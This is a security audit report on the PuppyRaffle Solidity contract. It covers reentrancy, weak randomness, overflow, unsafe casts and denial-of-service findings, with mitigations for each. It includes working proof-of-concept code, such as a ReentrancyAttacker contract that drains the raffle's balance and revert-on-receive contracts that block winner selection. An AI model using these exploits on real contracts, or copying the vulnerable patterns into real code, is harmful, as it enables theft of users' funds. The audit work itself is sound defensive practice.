About Suhel-Kap

Independent Security Researcher and Fullstack Blockchain Developer. I have been working in the blockchain space for over 2 years. I have worked on multiple projects with a major focus towards security and account abstraction.

Disclaimer

Suhel-Kap makes all effort to find as many vulnerabilities in the code in the given time period, but holds no responsibilities for the the findings provided in this document. A security audit by the team is not an endorsement of the underlying business or product. The audit was time-boxed and the review of the code was solely on the security aspects of the solidity implementation of the contracts.

Risk Classification

		Impact		
		High	Medium	Low
	High	H	H/M	M
Likelihood	Medium	H/M	M	M/L

--- PuppyRaffle.sol
```

Protocol Summary

Puppy Rafle is a protocol dedicated to raffling off puppy NFTs with variying rarities. A portion of entrance fees go to the winner, and a fee is taken by another address decided by the protocol owner.

Roles

- Owner: The only one who can change the `feeAddress`, denominated by the `_owner` variable.
- Fee User: The user who takes a cut of raffle entrance fees. Denominated by the `feeAddress` variable.
- Raffle Entrant: Anyone who enters the raffle. Denominated by being in the `players` array.

High

[H-1] Reentrancy Attack in `PuppyRaffle::refund` Allows Entrant to Drain Contract Balance

Description: The `PuppyRaffle::refund` function is vulnerable to a reentrancy attack due to an external call made before updating the `players` array. This allows an attacker to repeatedly call the refund function, draining the contract balance.

```
1 function refund(uint256 playerIndex) public {
2     address playerAddress = players[playerIndex];
3     require(playerAddress == msg.sender, "PuppyRaffle: Only the player
          can refund");
4     require(playerAddress != address(0), "PuppyRaffle: Player already
          refunded, or is not active");
5
6 @>  payable(msg.sender).sendValue(entranceFee);
```

```
7
8  @>  players[playerIndex] = address(0);
9      emit RaffleRefunded(playerAddress);
10 }
```

Impact: All fees paid by raffle entrants could be stolen by a malicious participant.

Proof of Concept:

1. Users enters the raffle.
2. Attacker sets up a contract with a `fallback` function that calls `PuppyRaffle::refund`.
3. Attacker enters the raffle
4. Attacker calls `PuppyRaffle::refund` from their contract, draining the contract balance.

Proof of Code:

Code

Add the following code to the `PuppyRaffleTest.t.sol` file.

```
1  contract ReentrancyAttacker {
2      PuppyRaffle puppyRaffle;
3      uint256 entranceFee;
4      uint256 attackerIndex;
5
6      constructor(address _puppyRaffle) {
7          puppyRaffle = PuppyRaffle(_puppyRaffle);
8          entranceFee = puppyRaffle.entranceFee();
9      }
10
11     function attack() external payable {
12         address[] memory players = new address[](1);
13         players[0] = address(this);
14         puppyRaffle.enterRaffle{value: entranceFee}(players);
15         attackerIndex = puppyRaffle.getActivePlayerIndex(address(this))
               ;
16         puppyRaffle.refund(attackerIndex);
17     }
18
19     fallback() external payable {
20         if (address(puppyRaffle).balance >= entranceFee) {
21             puppyRaffle.refund(attackerIndex);
22         }
23     }
24 }
25
26 function testReentrance() public playersEntered {
27     ReentrancyAttacker attacker = new ReentrancyAttacker(address(
           puppyRaffle));
28     vm.deal(address(attacker), 1e18);
```

```
29      uint256 startingAttackerBalance = address(attacker).balance;
30      uint256 startingContractBalance = address(puppyRaffle).balance;
31
32      attacker.attack();
33
34      uint256 endingAttackerBalance = address(attacker).balance;
35      uint256 endingContractBalance = address(puppyRaffle).balance;
36      assertEq(endingAttackerBalance, startingAttackerBalance +
            startingContractBalance);
37      assertEq(endingContractBalance, 0);
38  }
```

Recommended Mitigation: Update the `players` array before making the external call. Emit the event before the call as well.

```
1       function refund(uint256 playerIndex) public {
2           address playerAddress = players[playerIndex];
3           require(playerAddress == msg.sender, "PuppyRaffle: Only the
                player can refund");
4           require(playerAddress != address(0), "PuppyRaffle: Player
                already refunded, or is not active");
5   +       players[playerIndex] = address(0);
6   +       emit RaffleRefunded(playerAddress);
7           (bool success,) = msg.sender.call{value: entranceFee}("");
8           require(success, "PuppyRaffle: Failed to refund player");
9   -        players[playerIndex] = address(0);
10  -        emit RaffleRefunded(playerAddress);
11      }
```

[H-2] Weak Randomness in `PuppyRaffle::selectWinner` Allows Anyone to Choose Winner

Description: Hashing `msg.sender`, `block.timestamp`, and `block.difficulty` together creates a predictable number, allowing manipulation to select the winner.

Impact: Any user can predictably choose the winner, enabling them to win the prize and select the rarest puppy.

Proof of Concept:

1. Validators can predict `block.timestamp` and `block.difficulty`.
2. Users can manipulate `msg.sender` to affect the winner selection.

Using on-chain values as a randomness seed is a well-known attack vector.

Recommended Mitigation: Use an oracle for randomness, such as Chainlink VRF.

[H-3] Integer Overflow of `PuppyRaffle::totalFees` Loses Fees

Description: In Solidity versions before 0.8.0, integers could overflow. `totalFees` is vulnerable to this, which could cause fees to be incorrectly handled.

```
uint64 myVar = type(uint64).max;
// myVar will be 18446744073709551615
myVar = myVar + 1;
// myVar will be 0
```

Impact: Overflowing `totalFees` results in incorrect fee accumulation, causing fees to be stuck in the contract.

Proof of Concept:

1. We first conclude a raffle of 4 players to collect some fees.
2. We then have 89 additional players enter a new raffle, and we conclude that raffle as well.
3. `totalFees` will be:

```
totalFees = totalFees + uint64(fee);
// substituted
totalFees = 800000000000000000 + 17800000000000000000;
// due to overflow, the following is now the case
totalFees = 153255926290448384;
```

4. You will now not be able to withdraw, due to this line in `PuppyRaffle::withdrawFees`:

```
require(address(this).balance == uint256(totalFees), "PuppyRaffle:
    There are currently players active!");
```

Although you could use `selfdestruct` to send ETH to this contract in order for the values to match and withdraw the fees, this is clearly not what the protocol is intended to do.

Proof Of Code

Place this into the `PuppyRaffleTest.t.sol` file.

```
function testTotalFeesOverflow() public playersEntered {
        // We finish a raffle of 4 to collect some fees
        vm.warp(block.timestamp + duration + 1);
        vm.roll(block.number + 1);
        puppyRaffle.selectWinner();
        uint256 startingTotalFees = puppyRaffle.totalFees();
        // startingTotalFees = 800000000000000000

        // We then have 89 players enter a new raffle
        uint256 playersNum = 89;
        address[] memory players = new address[](playersNum);
```

```
12          for (uint256 i = 0; i < playersNum; i++) {
13              players[i] = address(i);
14          }
15          puppyRaffle.enterRaffle{value: entranceFee * playersNum}(
                players);
16          // We end the raffle
17          vm.warp(block.timestamp + duration + 1);
18          vm.roll(block.number + 1);
19
20          // And here is where the issue occurs
21          // We will now have fewer fees even though we just finished a
                second raffle
22          puppyRaffle.selectWinner();
23
24          uint256 endingTotalFees = puppyRaffle.totalFees();
25          console.log("ending total fees", endingTotalFees);
26          assert(endingTotalFees < startingTotalFees);
27
28          // We are also unable to withdraw any fees because of the
                require check
29          vm.prank(puppyRaffle.feeAddress());
30          vm.expectRevert("PuppyRaffle: There are currently players
                active!");
31          puppyRaffle.withdrawFees();
32      }
```

Recommended Mitigation: Use Solidity 0.8.0+ to avoid overflow or use OpenZeppelin's `SafeMath`. Use `uint256` instead of `uint64` for `totalFees`.

```
1 - pragma solidity ^0.7.6;
2 + pragma solidity 0.8.20;
```

```
1 - uint64 public totalFees = 0;
2 + uint256 public totalFees = 0;
```

[H-4] Malicious Winner Can Forever Halt the Raffle

Description: If the winner is a smart contract without a `fallback` or `receive` function, the external call in `selectWinner` will fail, halting the raffle.

```
1 (bool success,) = winner.call{value: prizePool}("");
2 require(success, "PuppyRaffle: Failed to send prize pool to winner");
```

If the `winner` account were a smart contract that did not implement a payable `fallback` or `receive` function, or these functions were included but reverted, the external call above would fail, and execution of the `selectWinner` function would halt. Therefore, the prize would never be distributed and the raffle would never be able to start a new round.

There's another attack vector that can be used to halt the raffle, leveraging the fact that the `selectWinner` function mints an NFT to the winner using the `_safeMint` function. This function, inherited from the `ERC721` contract, attempts to call the `onERC721Received` hook on the receiver if it is a smart contract. Reverting when the contract does not implement such function.

Therefore, an attacker can register a smart contract in the raffle that does not implement the `onERC721Received` hook expected. This will prevent minting the NFT and will revert the call to `selectWinner`.

Impact: The prize is not distributed, and the raffle cannot start a new round.

Proof of Concept:

1. Attacker contract enters the raffle.
2. Attacker contract's `receive` function reverts, blocking the prize distribution.

Proof Of Code

Place the following test into `PuppyRaffleTest.t.sol`.

```
function testSelectWinnerDoS() public {
    vm.warp(block.timestamp + duration + 1);
    vm.roll(block.number + 1);

    address[] memory players = new address[](4);
    players[0] = address(new AttackerContract());
    players[1] = address(new AttackerContract());
    players[2] = address(new AttackerContract());
    players[3] = address(new AttackerContract());
    puppyRaffle.enterRaffle{value: entranceFee * 4}(players);

    vm.expectRevert();
    puppyRaffle.selectWinner();
}
```

For example, the `AttackerContract` can be this:

```
contract AttackerContract {
    // Implements a `receive` function that always reverts
    receive() external payable {
        revert();
    }
}
```

Or this:

```
contract AttackerContract {
    // Implements a `receive` function to receive prize, but does not
       implement `onERC721Received` hook to receive the NFT.
```

```
3       receive() external payable {}
4   }
```

Recommended Mitigation: Favor pull-payments over push-payments. This means modifying the `selectWinner` function so that the winner account has to claim the prize by calling a function, instead of having the contract automatically send the funds during execution of `selectWinner`.

Medium

[M-1] Looping Through Players Array in `PuppyRaffle::enterRaffle` is a Potential DoS Vector

Description: The `PuppyRaffle::enterRaffle` function loops through the `players` array to check for duplicates, increasing gas costs for future entrants.

Impact: Gas costs for entering the raffle increase significantly as more players join. This creates front-running opportunities.

Proof of Concept:

If we have 2 sets of 100 players enter, the gas costs will be as such: - 1st 100 players: 6252039 - 2nd 100 players: 18067741

This is more than 3x as expensive for the second set of 100 players!

This is due to the for loop in the `PuppyRaffle::enterRaffle` function.

```
1           // Check for duplicates
2   @>      for (uint256 i = 0; i < players.length - 1; i++) {
3               for (uint256 j = i + 1; j < players.length; j++) {
4                   require(players[i] != players[j], "PuppyRaffle:
                        Duplicate player");
5               }
6           }
```

Proof Of Code

Place the following test into `PuppyRaffleTest.t.sol`.

```
1   function testReadDuplicateGasCosts() public {
2           vm.txGasPrice(1);
3
4           // We will enter 5 players into the raffle
5           uint256 playersNum = 100;
6           address[] memory players = new address[](playersNum);
7           for (uint256 i = 0; i < playersNum; i++) {
8               players[i] = address(i);
```

```
        }
        // And see how much gas it cost to enter
        uint256 gasStart = gasleft();
        puppyRaffle.enterRaffle{value: entranceFee * playersNum}(
            players);
        uint256 gasEnd = gasleft();
        uint256 gasUsedFirst = (gasStart - gasEnd) * tx.gasprice;
        console.log("Gas cost of the 1st 100 players:", gasUsedFirst);

        // We will enter 5 more players into the raffle
        for (uint256 i = 0; i < playersNum; i++) {
            players[i] = address(i + playersNum);
        }
        // And see how much more expensive it is
        gasStart = gasleft();
        puppyRaffle.enterRaffle{value: entranceFee * playersNum}(
            players);
        gasEnd = gasleft();
        uint256 gasUsedSecond = (gasStart - gasEnd) * tx.gasprice;
        console.log("Gas cost of the 2nd 100 players:", gasUsedSecond);

        assert(gasUsedFirst < gasUsedSecond);
        // Logs:
        //     Gas cost of the 1st 100 players: 6252039
        //     Gas cost of the 2nd 100 players: 18067741
}
```

Recommended Mitigation: There are a few recommended mitigations.

1. Consider allowing duplicates. Users can make new wallet addresses anyways, so a duplicate check doesn't prevent the same person from entering multiple times, only the same wallet address.
2. Consider using a mapping to check duplicates. This would allow you to check for duplicates in constant time, rather than linear time. You could have each raffle have a `uint256` id, and the mapping would be a player address mapped to the raffle Id.

```
+    mapping(address => uint256) public addressToRaffleId;
+    uint256 public raffleId = 0;
    .
    .
    .
    function enterRaffle(address[] memory newPlayers) public payable {
        require(msg.value == entranceFee * newPlayers.length, "
            PuppyRaffle: Must send enough to enter raffle");
        for (uint256 i = 0; i < newPlayers.length; i++) {
            players.push(newPlayers[i]);
+            addressToRaffleId[newPlayers[i]] = raffleId;
        }

```

```
13 -         // Check for duplicates
14 +        // Check for duplicates only from the new players
15 +        for (uint256 i = 0; i < newPlayers.length; i++) {
16 +            require(addressToRaffleId[newPlayers[i]] != raffleId, "
       PuppyRaffle: Duplicate player");
17 +        }
18 -         for (uint256 i = 0; i < players.length; i++) {
19 -             for (uint256 j = i + 1; j < players.length; j++) {
20 -                 require(players[i] != players[j], "PuppyRaffle:
       Duplicate player");
21 -             }
22 -         }
23          emit RaffleEnter(newPlayers);
24      }
25 .
26 .
27 .
28      function selectWinner() external {
29 +        raffleId = raffleId + 1;
30          require(block.timestamp >= raffleStartTime + raffleDuration, "
               PuppyRaffle: Raffle not over");
```

Alternatively, you could use OpenZeppelin's `EnumerableSet` library.

[M-2] Balance Check On `PuppyRaffle::withdrawFees` Enables Griefers To Selfdestruct A Contract To Send ETH To The Raffle, Blocking Withdrawals

Description: The `withdrawFees` function checks if `totalFees` equals the contract balance. A user could `selfdestruct` a contract with ETH to force funds to the `PuppyRaffle` contract, blocking withdrawals.

Description: The `PuppyRaffle::withdrawFees` function checks the `totalFees` equals the ETH balance of the contract (`address(this).balance`). Since this contract doesn't have a `payable` fallback or `receive` function, you'd think this wouldn't be possible, but a user could `selfdesctruct` a contract with ETH in it and force funds to the `PuppyRaffle` contract, breaking this check.

```
1       function withdrawFees() external {
2   @>      require(address(this).balance == uint256(totalFees), "
       PuppyRaffle: There are currently players active!");
3           uint256 feesToWithdraw = totalFees;
4           totalFees = 0;
5           (bool success,) = feeAddress.call{value: feesToWithdraw}("");
6           require(success, "PuppyRaffle: Failed to withdraw fees");
7       }
```

Impact: This would prevent the `feeAddress` from withdrawing fees. A malicious user could see a `withdrawFee` transaction in the mempool, front-run it, and block the withdrawal by sending fees.

Proof of Concept:

1. `PuppyRaffle` has 800 wei in it's balance, and 800 totalFees.
2. Malicious user sends 1 wei via a `selfdestruct`
3. `feeAddress` is no longer able to withdraw funds

Recommended Mitigation: Remove the balance check on the `PuppyRaffle::withdrawFees` function.

```
1      function withdrawFees() external {
2  -       require(address(this).balance == uint256(totalFees), "
       PuppyRaffle: There are currently players active!");
3          uint256 feesToWithdraw = totalFees;
4          totalFees = 0;
5          (bool success,) = feeAddress.call{value: feesToWithdraw}("");
6          require(success, "PuppyRaffle: Failed to withdraw fees");
7      }
```

[M-3] Unsafe cast of `PuppyRaffle::fee` loses fees

Description: In `PuppyRaffle::selectWinner` their is a type cast of a `uint256` to a `uint64`. This is an unsafe cast, and if the `uint256` is larger than `type(uint64).max`, the value will be truncated.

```
1      function selectWinner() external {
2          require(block.timestamp >= raffleStartTime + raffleDuration, "
               PuppyRaffle: Raffle not over");
3          require(players.length > 0, "PuppyRaffle: No players in raffle"
               );
4
5          uint256 winnerIndex = uint256(keccak256(abi.encodePacked(msg.
               sender, block.timestamp, block.difficulty))) % players.
               length;
6          address winner = players[winnerIndex];
7          uint256 fee = totalFees / 10;
8          uint256 winnings = address(this).balance - fee;
9  @>      totalFees = totalFees + uint64(fee);
10         players = new address[](0);
11         emit RaffleWinner(winner, winnings);
12     }
```

The max value of a `uint64` is `18446744073709551615`. In terms of ETH, this is only ~18 ETH. Meaning, if more than 18ETH of fees are collected, the `fee` casting will truncate the value.

Impact: This means the `feeAddress` will not collect the correct amount of fees, leaving fees permanently stuck in the contract.

Proof of Concept:

1. A raffle proceeds with a little more than 18 ETH worth of fees collected
2. The line that casts the `fee` as a `uint64` hits
3. `totalFees` is incorrectly updated with a lower amount

You can replicate this in foundry's chisel by running the following:

```
uint256 max = type(uint64).max
uint256 fee = max + 1
uint64(fee)
// prints 0
```

Recommended Mitigation: Set `PuppyRaffle::totalFees` to a `uint256` instead of a `uint64`, and remove the casting. Their is a comment which says:

```
// We do some storage packing to save gas
```

But the potential gas saved isn't worth it if we have to recast and this bug exists.

```
-   uint64 public totalFees = 0;
+   uint256 public totalFees = 0;
.
.
.
    function selectWinner() external {
        require(block.timestamp >= raffleStartTime + raffleDuration, "PuppyRaffle: Raffle not over");
        require(players.length >= 4, "PuppyRaffle: Need at least 4 players");
        uint256 winnerIndex =
            uint256(keccak256(abi.encodePacked(msg.sender, block.timestamp, block.difficulty))) % players.length;
        address winner = players[winnerIndex];
        uint256 totalAmountCollected = players.length * entranceFee;
        uint256 prizePool = (totalAmountCollected * 80) / 100;
        uint256 fee = (totalAmountCollected * 20) / 100;
-       totalFees = totalFees + uint64(fee);
+       totalFees = totalFees + fee;
```

[M-4] Smart Contract wallet raffle winners without a `receive` or a `fallback` will block the start of a new contest

Description: The `PuppyRaffle::selectWinner` function is responsible for resetting the lottery. However, if the winner is a smart contract wallet that rejects payment, the lottery would not be able to restart.

Non-smart contract wallet users could reenter, but it might cost them a lot of gas due to the duplicate check.

Impact: The `PuppyRaffle::selectWinner` function could revert many times, and make it very difficult to reset the lottery, preventing a new one from starting.

Also, true winners would not be able to get paid out, and someone else would win their money!

Proof of Concept: 1. 10 smart contract wallets enter the lottery without a fallback or receive function. 2. The lottery ends 3. The `selectWinner` function wouldn't work, even though the lottery is over!

Recommended Mitigation: There are a few options to mitigate this issue.

1. Do not allow smart contract wallet entrants (not recommended)
2. Create a mapping of addresses -> payout so winners can pull their funds out themselves, putting the owness on the winner to claim their prize. (Recommended)

Informational / Non-Critical

[I-1] Floating pragmas

Description: Contracts should use strict versions of solidity. Locking the version ensures that contracts are not deployed with a different version of solidity than they were tested with. An incorrect version could lead to uninteded results.

https://swcregistry.io/docs/SWC-103/

Recommended Mitigation: Lock up pragma versions.

```
- pragma solidity ^0.7.6;
+ pragma solidity 0.7.6;
```

[I-2] Magic Numbers

Description: All number literals should be replaced with constants. This makes the code more readable and easier to maintain. Numbers without context are called "magic numbers".

Recommended Mitigation: Replace all magic numbers with constants.

```
+       uint256 public constant PRIZE_POOL_PERCENTAGE = 80;
+       uint256 public constant FEE_PERCENTAGE = 20;
+       uint256 public constant TOTAL_PERCENTAGE = 100;
.
.
.
-        uint256 prizePool = (totalAmountCollected * 80) / 100;
-        uint256 fee = (totalAmountCollected * 20) / 100;
         uint256 prizePool = (totalAmountCollected *
            PRIZE_POOL_PERCENTAGE) / TOTAL_PERCENTAGE;
         uint256 fee = (totalAmountCollected * FEE_PERCENTAGE) /
            TOTAL_PERCENTAGE;
```

[I-3] Test Coverage

Description: The test coverage of the tests are below 90%. This often means that there are parts of the code that are not tested.

```
| File                                | % Lines        | % Statements
   | % Branches     | % Funcs       |
| ----------------------------------- | -------------- | --------------
   | -------------- | ------------- |
| script/DeployPuppyRaffle.sol        | 0.00% (0/3)    | 0.00% (0/4)
   | 100.00% (0/0)  | 0.00% (0/1)   |
| src/PuppyRaffle.sol                 | 82.46% (47/57) | 83.75% (67/80)
   | 66.67% (20/30) | 77.78% (7/9)  |
| test/auditTests/ProofOfCodes.t.sol  | 100.00% (7/7)  | 100.00% (8/8)
   | 50.00% (1/2)   | 100.00% (2/2) |
| Total                               | 80.60% (54/67) | 81.52% (75/92)
   | 65.62% (21/32) | 75.00% (9/12) |
```

Recommended Mitigation: Increase test coverage to 90% or higher, especially for the `Branches` column.

[I-4] Zero address validation

Description: The `PuppyRaffle` contract does not validate that the `feeAddress` is not the zero address. This means that the `feeAddress` could be set to the zero address, and fees would be lost.

```
PuppyRaffle.constructor(uint256,address,uint256)._feeAddress (src/
   PuppyRaffle.sol#57) lacks a zero-check on :
                - feeAddress = _feeAddress (src/PuppyRaffle.sol#59)
PuppyRaffle.changeFeeAddress(address).newFeeAddress (src/PuppyRaffle.
   sol#165) lacks a zero-check on :
```

```
4                 - feeAddress = newFeeAddress (src/PuppyRaffle.sol#166)
```

Recommended Mitigation: Add a zero address check whenever the `feeAddress` is updated.

[I-5] _isActivePlayer is never used and should be removed

Description: The function `PuppyRaffle::_isActivePlayer` is never used and should be removed.

```
-     function _isActivePlayer() internal view returns (bool) {
-         for (uint256 i = 0; i < players.length; i++) {
-             if (players[i] == msg.sender) {
-                 return true;
-             }
-         }
-         return false;
-     }
```

[I-6] Unchanged variables should be constant or immutable

Constant Instances:

```
PuppyRaffle.commonImageUri (src/PuppyRaffle.sol#35) should be constant
PuppyRaffle.legendaryImageUri (src/PuppyRaffle.sol#45) should be
    constant
PuppyRaffle.rareImageUri (src/PuppyRaffle.sol#40) should be constant
```

Immutable Instances:

```
PuppyRaffle.raffleDuration (src/PuppyRaffle.sol#21) should be immutable
```

[I-7] Potentially erroneous active player index

Description: The `getActivePlayerIndex` function is intended to return zero when the given address is not active. However, it could also return zero for an active address stored in the first slot of the `players` array. This may cause confusions for users querying the function to obtain the index of an active player.

Recommended Mitigation: Return 2**256-1 (or any other sufficiently high number) to signal that the given player is inactive, so as to avoid collision with indices of active players.

[I-8] Zero address may be erroneously considered an active player

Description: The `refund` function removes active players from the `players` array by setting the corresponding slots to zero. This is confirmed by its documentation, stating that "This function will allow there to be blank spots in the array". However, this is not taken into account by the `getActivePlayerIndex` function. If someone calls `getActivePlayerIndex` passing the zero address after there's been a refund, the function will consider the zero address an active player, and return its index in the `players` array.

Recommended Mitigation: Skip zero addresses when iterating the `players` array in the `getActivePlayerIndex`. Do note that this change would mean that the zero address can *never* be an active player. Therefore, it would be best if you also prevented the zero address from being registered as a valid player in the `enterRaffle` function.

Gas (Optional)

- `getActivePlayerIndex` returning 0. Is it the player at index 0? Or is it invalid.
- MEV with the refund function.
- MEV with withdrawfees
- randomness for rarity issue
- reentrancy puppy raffle before safemint (it looks ok actually, potentially informational)
